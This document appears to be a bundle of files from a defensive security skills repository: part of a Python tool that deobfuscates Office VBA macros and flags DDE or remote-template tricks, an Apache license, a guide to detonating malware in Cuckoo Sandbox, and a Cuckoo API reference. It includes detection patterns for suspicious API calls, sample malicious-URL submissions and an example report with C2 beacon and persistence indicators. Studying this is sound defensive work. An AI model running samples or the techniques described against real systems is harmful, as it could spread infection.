|
||||
|
||||
|
||||
def deobfuscate_strreverse(vba_code):
|
||||
"""Resolve StrReverse() calls."""
|
||||
def resolve_reverse(match):
|
||||
return '"' + match.group(1)[::-1] + '"'
|
||||
return re.sub(r'StrReverse\("([^"]+)"\)', resolve_reverse, vba_code)
|
||||
|
||||
|
||||
def deobfuscate_replace(vba_code):
|
||||
"""Resolve Replace() function calls."""
|
||||
def resolve_replace(match):
|
||||
original = match.group(1)
|
||||
find = match.group(2)
|
||||
replace_with = match.group(3)
|
||||
return '"' + original.replace(find, replace_with) + '"'
|
||||
return re.sub(r'Replace\("([^"]+)",\s*"([^"]+)",\s*"([^"]*)"\)',
|
||||
resolve_replace, vba_code)
|
||||
|
||||
|
||||
def full_deobfuscation(vba_code):
|
||||
"""Apply all deobfuscation techniques to VBA code."""
|
||||
code = deobfuscate_chr_calls(vba_code)
|
||||
code = deobfuscate_concatenation(code)
|
||||
code = deobfuscate_strreverse(code)
|
||||
code = deobfuscate_replace(code)
|
||||
return code
|
||||
|
||||
|
||||
def extract_urls_from_code(code):
|
||||
"""Extract URLs from deobfuscated VBA code."""
|
||||
return list(set(re.findall(r'https?://[^\s"\'<>]+', code)))
|
||||
|
||||
|
||||
def check_dde(filepath):
|
||||
"""Check for DDE (Dynamic Data Exchange) attacks in OOXML documents."""
|
||||
findings = []
|
||||
try:
|
||||
z = zipfile.ZipFile(filepath)
|
||||
for name in z.namelist():
|
||||
if name.endswith(".xml") or name.endswith(".rels"):
|
||||
content = z.read(name).decode("utf-8", errors="ignore")
|
||||
if "DDEAUTO" in content or "DDE " in content:
|
||||
dde_cmds = re.findall(r'DDEAUTO[^"]*"([^"]+)"', content)
|
||||
findings.append({
|
||||
"type": "DDE",
|
||||
"file": name,
|
||||
"commands": dde_cmds,
|
||||
})
|
||||
if "attachedTemplate" in content or "Target=" in content:
|
||||
urls = re.findall(r'Target="(https?://[^"]+)"', content)
|
||||
for url in urls:
|
||||
findings.append({
|
||||
"type": "Remote Template",
|
||||
"file": name,
|
||||
"url": url,
|
||||
})
|
||||
except (zipfile.BadZipFile, KeyError):
|
||||
pass
|
||||
return findings
|
||||
|
||||
|
||||
def check_external_relationships(filepath):
|
||||
"""Check OOXML relationships for external references."""
|
||||
externals = []
|
||||
try:
|
||||
z = zipfile.ZipFile(filepath)
|
||||
for name in z.namelist():
|
||||
if ".rels" in name:
|
||||
content = z.read(name).decode("utf-8", errors="ignore")
|
||||
urls = re.findall(r'Target="(https?://[^"]+)"', content)
|
||||
for url in urls:
|
||||
externals.append({"file": name, "url": url})
|
||||
except (zipfile.BadZipFile, KeyError):
|
||||
pass
|
||||
return externals
|
||||
|
||||
|
||||
def generate_report(filepath, triage, macros, analysis, deobfuscated_urls, dde_findings):
|
||||
"""Generate a comprehensive macro malware analysis report."""
|
||||
report = {
|
||||
"file": filepath,
|
||||
"sha256": compute_hash(filepath),
|
||||
"size": os.path.getsize(filepath),
|
||||
"triage": triage,
|
||||
"macro_count": len(macros),
|
||||
"auto_exec_triggers": [e["keyword"] for e in analysis.get("auto_exec", [])],
|
||||
"suspicious_functions": [e["keyword"] for e in analysis.get("suspicious", [])],
|
||||
"iocs": [e["keyword"] for e in analysis.get("iocs", [])],
|
||||
"extracted_urls": deobfuscated_urls,
|
||||
"dde_findings": dde_findings,
|
||||
}
|
||||
return report
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
print("=" * 60)
|
||||
print("Office Macro Malware Analysis Agent")
|
||||
print("oletools-based VBA extraction and deobfuscation")
|
||||
print("=" * 60)
|
||||
|
||||
target = sys.argv[1] if len(sys.argv) > 1 else None
|
||||
|
||||
if target and os.path.exists(target):
|
||||
print(f"\n[*] Analyzing: {target}")
|
||||
print(f"[*] SHA-256: {compute_hash(target)}")
|
||||
|
||||
print("\n--- Document Triage (oleid) ---")
|
||||
triage = triage_document(target)
|
||||
for name, info in triage.items():
|
||||
risk_tag = f" [{info['risk']}]" if info.get("risk") else ""
|
||||
print(f" {name}: {info['value']}{risk_tag}")
|
||||
|
||||
print("\n--- VBA Macro Extraction ---")
|
||||
macros = extract_vba_macros(target)
|
||||
print(f" Macro streams found: {len(macros)}")
|
||||
for m in macros:
|
||||
print(f" - {m['vba_filename']} ({m['code_length']} chars)")
|
||||
|
||||
print("\n--- Suspicious Analysis ---")
|
||||
analysis = analyze_vba_suspicious(target)
|
||||
for trigger in analysis["auto_exec"]:
|
||||
print(f" [!] Auto-exec: {trigger['keyword']}")
|
||||
for sus in analysis["suspicious"]:
|
||||
print(f" [!] Suspicious: {sus['keyword']} - {sus['description']}")
|
||||
for ioc in analysis["iocs"]:
|
||||
print(f" [IOC] {ioc['keyword']}")
|
||||
|
||||
print("\n--- Deobfuscation ---")
|
||||
all_urls = []
|
||||
for m in macros:
|
||||
deobfuscated = full_deobfuscation(m["code"])
|
||||
urls = extract_urls_from_code(deobfuscated)
|
||||
all_urls.extend(urls)
|
||||
for url in set(all_urls):
|
||||
print(f" URL: {url}")
|
||||
|
||||
print("\n--- DDE / Remote Template Check ---")
|
||||
dde = check_dde(target)
|
||||
for d in dde:
|
||||
print(f" [{d['type']}] {d.get('url', d.get('commands', ''))}")
|
||||
|
||||
report = generate_report(target, triage, macros, analysis, list(set(all_urls)), dde)
|
||||
print(f"\n[*] Report: {json.dumps(report, indent=2, default=str)[:500]}...")
|
||||
else:
|
||||
print(f"\n[DEMO] Usage: python agent.py <document.docm|xlsm>")
|
||||
print("[*] Provide an Office document for macro analysis.")
|
||||
@@ -0,0 +1,201 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,304 @@
|
||||
---
|
||||
name: analyzing-malware-behavior-with-cuckoo-sandbox
|
||||
description: 'Detonate malware samples in Cuckoo Sandbox to observe runtime behavior
|
||||
— process creation, file system and registry changes, network communications,
|
||||
and API calls — and generate behavioral reports for classification and IOC extraction.
|
||||
Use when a sample has passed static triage and needs dynamic/behavioral analysis,
|
||||
when mapping a full infection chain, or when building YARA/behavioral signatures
|
||||
from observed sandbox activity.
|
||||
|
||||
'
|
||||
domain: cybersecurity
|
||||
subdomain: malware-analysis
|
||||
tags:
|
||||
- malware
|
||||
- dynamic-analysis
|
||||
- sandbox
|
||||
- Cuckoo
|
||||
- behavioral-analysis
|
||||
version: 1.0.0
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
nist_csf:
|
||||
- DE.AE-02
|
||||
- RS.AN-03
|
||||
- ID.RA-01
|
||||
- DE.CM-01
|
||||
mitre_attack:
|
||||
- T1497
|
||||
- T1055
|
||||
- T1071
|
||||
- T1027
|
||||
---
|
||||
|
||||
# Analyzing Malware Behavior with Cuckoo Sandbox
|
||||
|
||||
## When to Use
|
||||
|
||||
- A suspicious sample passed static analysis triage and requires behavioral observation in a controlled environment
|
||||
- You need to capture network traffic, file drops, registry modifications, and API calls from a malware execution
|
||||
- Determining the full infection chain including second-stage payload downloads and persistence mechanisms
|
||||
- Generating behavioral signatures and YARA rules based on observed runtime activity
|
||||
- Automated analysis of bulk malware samples requiring consistent reporting
|
||||
|
||||
**Do not use** when the sample is a known ransomware variant that may spread via network shares in a misconfigured sandbox; verify network isolation first.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Cuckoo Sandbox 3.x installed on a dedicated analysis server (Ubuntu 22.04 recommended)
|
||||
- Guest VMs configured with Windows 10/11 snapshots (Cuckoo agent installed, snapshots taken at clean state)
|
||||
- VirtualBox, KVM, or VMware configured as the Cuckoo virtualization backend
|
||||
- Isolated network with InetSim or FakeNet-NG for simulating internet services
|
||||
- Suricata or Snort integrated for network-level signature matching during analysis
|
||||
- Sufficient disk space for PCAP captures and memory dumps (minimum 500 GB recommended)
|
||||
|
||||
## Workflow
|
||||
|
||||
### Step 1: Submit Sample to Cuckoo
|
||||
|
||||
Submit the malware sample for automated analysis:
|
||||
|
||||
```bash
|
||||
# Submit via command line
|
||||
cuckoo submit /path/to/suspect.exe
|
||||
|
||||
# Submit with specific analysis timeout (300 seconds)
|
||||
cuckoo submit --timeout 300 /path/to/suspect.exe
|
||||
|
||||
# Submit with specific VM and analysis package
|
||||
cuckoo submit --machine win10_x64 --package exe --timeout 300 /path/to/suspect.exe
|
||||
|
||||
# Submit via REST API
|
||||
curl -F "file=@suspect.exe" -F "timeout=300" -F "machine=win10_x64" \
|
||||
http://localhost:8090/tasks/create/file
|
||||
|
||||
# Submit URL for analysis
|
||||
curl -F "url=http://malicious-site.com/payload" -F "timeout=300" \
|
||||
http://localhost:8090/tasks/create/url
|
||||
|
||||
# Check task status
|
||||
curl http://localhost:8090/tasks/view/1 | jq '.task.status'
|
||||
```
|
||||
|
||||
### Step 2: Monitor Execution in Real-Time
|
||||
|
||||
Track the analysis progress and observe live behavior:
|
||||
|
||||
```bash
|
||||
# Watch Cuckoo analysis log
|
||||
tail -f /opt/cuckoo/log/cuckoo.log
|
||||
|
||||
# Monitor analysis task status
|
||||
cuckoo status
|
||||
|
||||
# Access Cuckoo web interface for live screenshots and process tree
|
||||
# Navigate to http://localhost:8080/analysis/<task_id>/
|
||||
```
|
||||
|
||||
Key behavioral events to watch during execution:
|
||||
- Process creation chain (parent-child relationships)
|
||||
- Network connection attempts to external IPs
|
||||
- File drops in temporary directories or system folders
|
||||
- Registry modifications to Run keys or service entries
|
||||
- API calls related to encryption (CryptEncrypt), injection (WriteProcessMemory), or evasion
|
||||
|
||||
### Step 3: Analyze Process Activity
|
||||
|
||||
Review the process tree and API call trace from the Cuckoo report:
|
||||
|
||||
```python
|
||||
# Parse Cuckoo JSON report programmatically
|
||||
import json
|
||||
|
||||
with open("/opt/cuckoo/storage/analyses/1/reports/report.json") as f:
|
||||
report = json.load(f)
|
||||
|
||||
# Process tree analysis
|
||||
for process in report["behavior"]["processes"]:
|
||||
pid = process["pid"]
|
||||
ppid = process["ppid"]
|
||||
name = process["process_name"]
|
||||
print(f"PID: {pid} PPID: {ppid} Name: {name}")
|
||||
|
||||
# Extract suspicious API calls
|
||||
for call in process["calls"]:
|
||||
api = call["api"]
|
||||
if api in ["CreateRemoteThread", "VirtualAllocEx", "WriteProcessMemory",
|
||||
"NtCreateThreadEx", "RegSetValueExA", "URLDownloadToFileA"]:
|
||||
args = {arg["name"]: arg["value"] for arg in call["arguments"]}
|
||||
print(f" [!] {api}({args})")
|
||||
```
|
||||
|
||||
### Step 4: Review Network Activity
|
||||
|
||||
Examine network connections, DNS queries, and HTTP requests:
|
||||
|
||||
```python
|
||||
# Network analysis from Cuckoo report
|
||||
network = report["network"]
|
||||
|
||||
# DNS resolutions
|
||||
print("DNS Queries:")
|
||||
for dns in network.get("dns", []):
|
||||
print(f" {dns['request']} -> {dns.get('answers', [])}")
|
||||
|
||||
# HTTP requests
|
||||
print("\nHTTP Requests:")
|
||||
for http in network.get("http", []):
|
||||
print(f" {http['method']} {http['uri']} (Host: {http['host']})")
|
||||
if http.get("body"):
|
||||
print(f" Body: {http['body'][:200]}")
|
||||
|
||||
# TCP connections
|
||||
print("\nTCP Connections:")
|
||||
for tcp in network.get("tcp", []):
|
||||
print(f" {tcp['src']}:{tcp['sport']} -> {tcp['dst']}:{tcp['dport']}")
|
||||
|
||||
# Extract PCAP for deeper Wireshark analysis
|
||||
# PCAP location: /opt/cuckoo/storage/analyses/1/dump.pcap
|
||||
```
|
||||
|
||||
### Step 5: Examine File System and Registry Changes
|
||||
|
||||
Document persistence mechanisms and dropped files:
|
||||
|
||||
```python
|
||||
# File operations
|
||||
print("Files Created/Modified:")
|
||||
for f in report["behavior"].get("summary", {}).get("files", []):
|
||||
print(f" {f}")
|
||||
|
||||
# Dropped files with hashes
|
||||
print("\nDropped Files:")
|
||||
for dropped in report.get("dropped", []):
|
||||
print(f" Path: {dropped['filepath']}")
|
||||
print(f" SHA-256: {dropped['sha256']}")
|
||||
print(f" Size: {dropped['size']} bytes")
|
||||
print(f" Type: {dropped['type']}")
|
||||
|
||||
# Registry modifications
|
||||
print("\nRegistry Keys Modified:")
|
||||
for key in report["behavior"].get("summary", {}).get("keys", []):
|
||||
print(f" {key}")
|
||||
```
|
||||
|
||||
### Step 6: Review Signatures and Scoring
|
||||
|
||||
Check Cuckoo's behavioral signatures and threat scoring:
|
||||
|
||||
```python
|
||||
# Behavioral signatures triggered
|
||||
print("Triggered Signatures:")
|
||||
for sig in report.get("signatures", []):
|
||||
severity = sig["severity"]
|
||||
name = sig["name"]
|
||||
description = sig["description"]
|
||||
marker = "[!]" if severity >= 3 else "[*]"
|
||||
print(f" {marker} [{severity}/5] {name}: {description}")
|
||||
for mark in sig.get("marks", []):
|
||||
if mark.get("call"):
|
||||
print(f" API: {mark['call']['api']}")
|
||||
if mark.get("ioc"):
|
||||
print(f" IOC: {mark['ioc']}")
|
||||
|
||||
# Overall score
|
||||
score = report.get("info", {}).get("score", 0)
|
||||
print(f"\nOverall Threat Score: {score}/10")
|
||||
```
|
||||
|
||||
### Step 7: Extract Memory Dump Artifacts
|
||||
|
||||
Analyze the full memory dump captured during execution:
|
||||
|
||||
```bash
|
||||
# Memory dump is saved at:
|
||||
# /opt/cuckoo/storage/analyses/1/memory.dmp
|
||||
|
||||
# Use Volatility to analyze the memory dump
|
||||
vol3 -f /opt/cuckoo/storage/analyses/1/memory.dmp windows.pslist
|
||||
vol3 -f /opt/cuckoo/storage/analyses/1/memory.dmp windows.malfind
|
||||
vol3 -f /opt/cuckoo/storage/analyses/1/memory.dmp windows.netscan
|
||||
```
|
||||
|
||||
## Key Concepts
|
||||
|
||||
| Term | Definition |
|
||||
|------|------------|
|
||||
| **Dynamic Analysis** | Executing malware in a controlled environment to observe runtime behavior including system calls, network activity, and file operations |
|
||||
| **Sandbox Evasion** | Techniques malware uses to detect virtual/sandbox environments and alter behavior to avoid analysis (sleep timers, VM checks, user interaction checks) |
|
||||
| **API Hooking** | Cuckoo's method of intercepting Windows API calls made by the malware to log function names, parameters, and return values |
|
||||
| **InetSim** | Internet services simulation tool that responds to malware network requests (HTTP, DNS, SMTP) within the isolated analysis network |
|
||||
| **Process Injection** | Malware technique of injecting code into legitimate processes; detected by monitoring VirtualAllocEx and WriteProcessMemory API sequences |
|
||||
| **Behavioral Signature** | Rule-based detection matching specific sequences of API calls, file operations, or network activity to known malware behaviors |
|
||||
| **Analysis Package** | Cuckoo module defining how to execute a specific file type (exe, dll, pdf, doc) within the guest VM for proper behavioral capture |
|
||||
|
||||
## Tools & Systems
|
||||
|
||||
- **Cuckoo Sandbox**: Open-source automated malware analysis system providing behavioral reports, network captures, and memory dumps
|
||||
- **InetSim**: Internet services simulation suite providing fake HTTP, DNS, SMTP, and other services for isolated malware analysis networks
|
||||
- **FakeNet-NG**: FLARE team's network simulation tool that intercepts and redirects all network traffic for analysis
|
||||
- **Suricata**: Network IDS/IPS integrated with Cuckoo for real-time signature-based detection of malicious network traffic
|
||||
- **Volatility**: Memory forensics framework used to analyze memory dumps captured during Cuckoo analysis
|
||||
|
||||
## Common Scenarios
|
||||
|
||||
### Scenario: Analyzing a Multi-Stage Dropper
|
||||
|
||||
**Context**: Static analysis reveals a packed executable with minimal imports and high entropy. The sample needs sandbox execution to observe unpacking, payload delivery, and C2 establishment.
|
||||
|
||||
**Approach**:
|
||||
1. Submit sample to Cuckoo with extended timeout (600 seconds) to capture slow-acting behavior
|
||||
2. Review process tree for child process creation (dropper spawning payload processes)
|
||||
3. Identify dropped files in %TEMP%, %APPDATA%, or system directories
|
||||
4. Extract dropped files and compute hashes for separate analysis
|
||||
5. Map network connections to identify C2 infrastructure contacted after initial execution
|
||||
6. Check for persistence mechanisms (Run keys, scheduled tasks, services) in registry modifications
|
||||
7. Compare behavioral signatures against known malware families
|
||||
|
||||
**Pitfalls**:
|
||||
- Using insufficient analysis timeout causing the sandbox to terminate before second-stage payload executes
|
||||
- Not configuring InetSim to respond to DNS and HTTP requests, preventing the malware from progressing past C2 check-in
|
||||
- Ignoring sandbox evasion detections; if the sample exits immediately, it may be detecting the virtual environment
|
||||
- Not analyzing dropped files separately; the initial dropper may be less interesting than the final payload
|
||||
|
||||
## Output Format
|
||||
|
||||
```
|
||||
DYNAMIC ANALYSIS REPORT - CUCKOO SANDBOX
|
||||
==========================================
|
||||
Task ID: 1547
|
||||
Sample: suspect.exe (SHA-256: e3b0c44298fc1c149afbf4c8996fb924...)
|
||||
Analysis Time: 300 seconds
|
||||
VM: win10_x64 (Windows 10 21H2)
|
||||
Score: 8.5/10
|
||||
|
||||
PROCESS TREE
|
||||
suspect.exe (PID: 2184)
|
||||
└── cmd.exe (PID: 3456)
|
||||
└── powershell.exe (PID: 4012)
|
||||
└── svchost_fake.exe (PID: 4568)
|
||||
|
||||
FILE SYSTEM ACTIVITY
|
||||
[CREATED] C:\Users\Admin\AppData\Local\Temp\payload.dll
|
||||
[CREATED] C:\Windows\System32\svchost_fake.exe
|
||||
[MODIFIED] C:\Windows\System32\drivers\etc\hosts
|
||||
|
||||
REGISTRY MODIFICATIONS
|
||||
[SET] HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "C:\Windows\System32\svchost_fake.exe"
|
||||
[SET] HKLM\SYSTEM\CurrentControlSet\Services\FakeService\ImagePath = "C:\Windows\System32\svchost_fake.exe"
|
||||
|
||||
NETWORK ACTIVITY
|
||||
DNS: update.malicious[.]com -> 185.220.101.42
|
||||
HTTP: POST hxxps://185.220.101[.]42/gate.php (beacon)
|
||||
TCP: 10.0.2.15:49152 -> 185.220.101.42:443 (237 connections)
|
||||
|
||||
BEHAVIORAL SIGNATURES
|
||||
[!] [4/5] injection_createremotethread: Injects code into remote process
|
||||
[!] [4/5] persistence_autorun: Modifies Run registry key for persistence
|
||||
[!] [3/5] network_cnc_http: Performs HTTP C2 communication
|
||||
[*] [2/5] antiav_detectfile: Checks for antivirus product files
|
||||
|
||||
DROPPED FILES
|
||||
payload.dll SHA-256: abc123... Size: 98304 Type: PE32 DLL
|
||||
svchost_fake.exe SHA-256: def456... Size: 184320 Type: PE32 EXE
|
||||
```
|
||||
@@ -0,0 +1,121 @@
|
||||
# API Reference: Cuckoo Sandbox
|
||||
|
||||
## Cuckoo CLI
|
||||
|
||||
### Sample Submission
|
||||
```bash
|
||||
cuckoo submit /path/to/sample.exe
|
||||
cuckoo submit --timeout 300 /path/to/sample.exe
|
||||
cuckoo submit --machine win10_x64 --package exe sample.exe
|
||||
cuckoo submit --url "http://malicious-url.com"
|
||||
```
|
||||
|
||||
### Status
|
||||
```bash
|
||||
cuckoo status
|
||||
tail -f /opt/cuckoo/log/cuckoo.log
|
||||
```
|
||||
|
||||
## Cuckoo REST API
|
||||
|
||||
### Submit File
|
||||
```bash
|
||||
curl -F "file=@sample.exe" -F "timeout=300" \
|
||||
http://localhost:8090/tasks/create/file
|
||||
```
|
||||
Response: `{"task_id": 1}`
|
||||
|
||||
### Submit URL
|
||||
```bash
|
||||
curl -F "url=http://malicious.com" -F "timeout=300" \
|
||||
http://localhost:8090/tasks/create/url
|
||||
```
|
||||
|
||||
### Check Task Status
|
||||
```bash
|
||||
curl http://localhost:8090/tasks/view/<task_id>
|
||||
```
|
||||
Status values: `pending`, `running`, `completed`, `reported`
|
||||
|
||||
### Get Report
|
||||
```bash
|
||||
curl http://localhost:8090/tasks/report/<task_id>
|
||||
curl http://localhost:8090/tasks/report/<task_id>/json
|
||||
```
|
||||
|
||||
### List Tasks
|
||||
```bash
|
||||
curl http://localhost:8090/tasks/list
|
||||
curl http://localhost:8090/tasks/list?limit=50&offset=0
|
||||
```
|
||||
|
||||
## Report JSON Structure
|
||||
|
||||
### Key Paths
|
||||
| Path | Content |
|
||||
|------|---------|
|
||||
| `info.score` | Threat score (0-10) |
|
||||
| `info.duration` | Analysis duration (seconds) |
|
||||
| `behavior.processes` | Process tree with API calls |
|
||||
| `behavior.summary.files` | Created/modified files |
|
||||
| `behavior.summary.keys` | Modified registry keys |
|
||||
| `network.dns` | DNS resolutions |
|
||||
| `network.http` | HTTP requests |
|
||||
| `network.tcp` | TCP connections |
|
||||
| `dropped` | Dropped files with hashes |
|
||||
| `signatures` | Triggered behavioral signatures |
|
||||
|
||||
### Signature Severity Levels
|
||||
| Level | Meaning |
|
||||
|-------|---------|
|
||||
| 1 | Informational |
|
||||
| 2 | Low |
|
||||
| 3 | Medium |
|
||||
| 4 | High |
|
||||
| 5 | Critical |
|
||||
|
||||
## Analysis Packages
|
||||
|
||||
| Package | File Type |
|
||||
|---------|-----------|
|
||||
| `exe` | Windows executables |
|
||||
| `dll` | DLL files (uses rundll32) |
|
||||
| `doc` | Word documents |
|
||||
| `xls` | Excel spreadsheets |
|
||||
| `pdf` | PDF documents |
|
||||
| `js` | JavaScript files |
|
||||
| `vbs` | VBScript files |
|
||||
| `ps1` | PowerShell scripts |
|
||||
| `zip` | Archives (auto-extracted) |
|
||||
|
||||
## InetSim - Network Simulation
|
||||
|
||||
### Syntax
|
||||
```bash
|
||||
inetsim --bind-address 192.168.56.1
|
||||
inetsim --report-dir /var/log/inetsim
|
||||
```
|
||||
|
||||
### Simulated Services
|
||||
- HTTP/HTTPS (ports 80, 443)
|
||||
- DNS (port 53)
|
||||
- SMTP (port 25)
|
||||
- FTP (port 21)
|
||||
- IRC (port 6667)
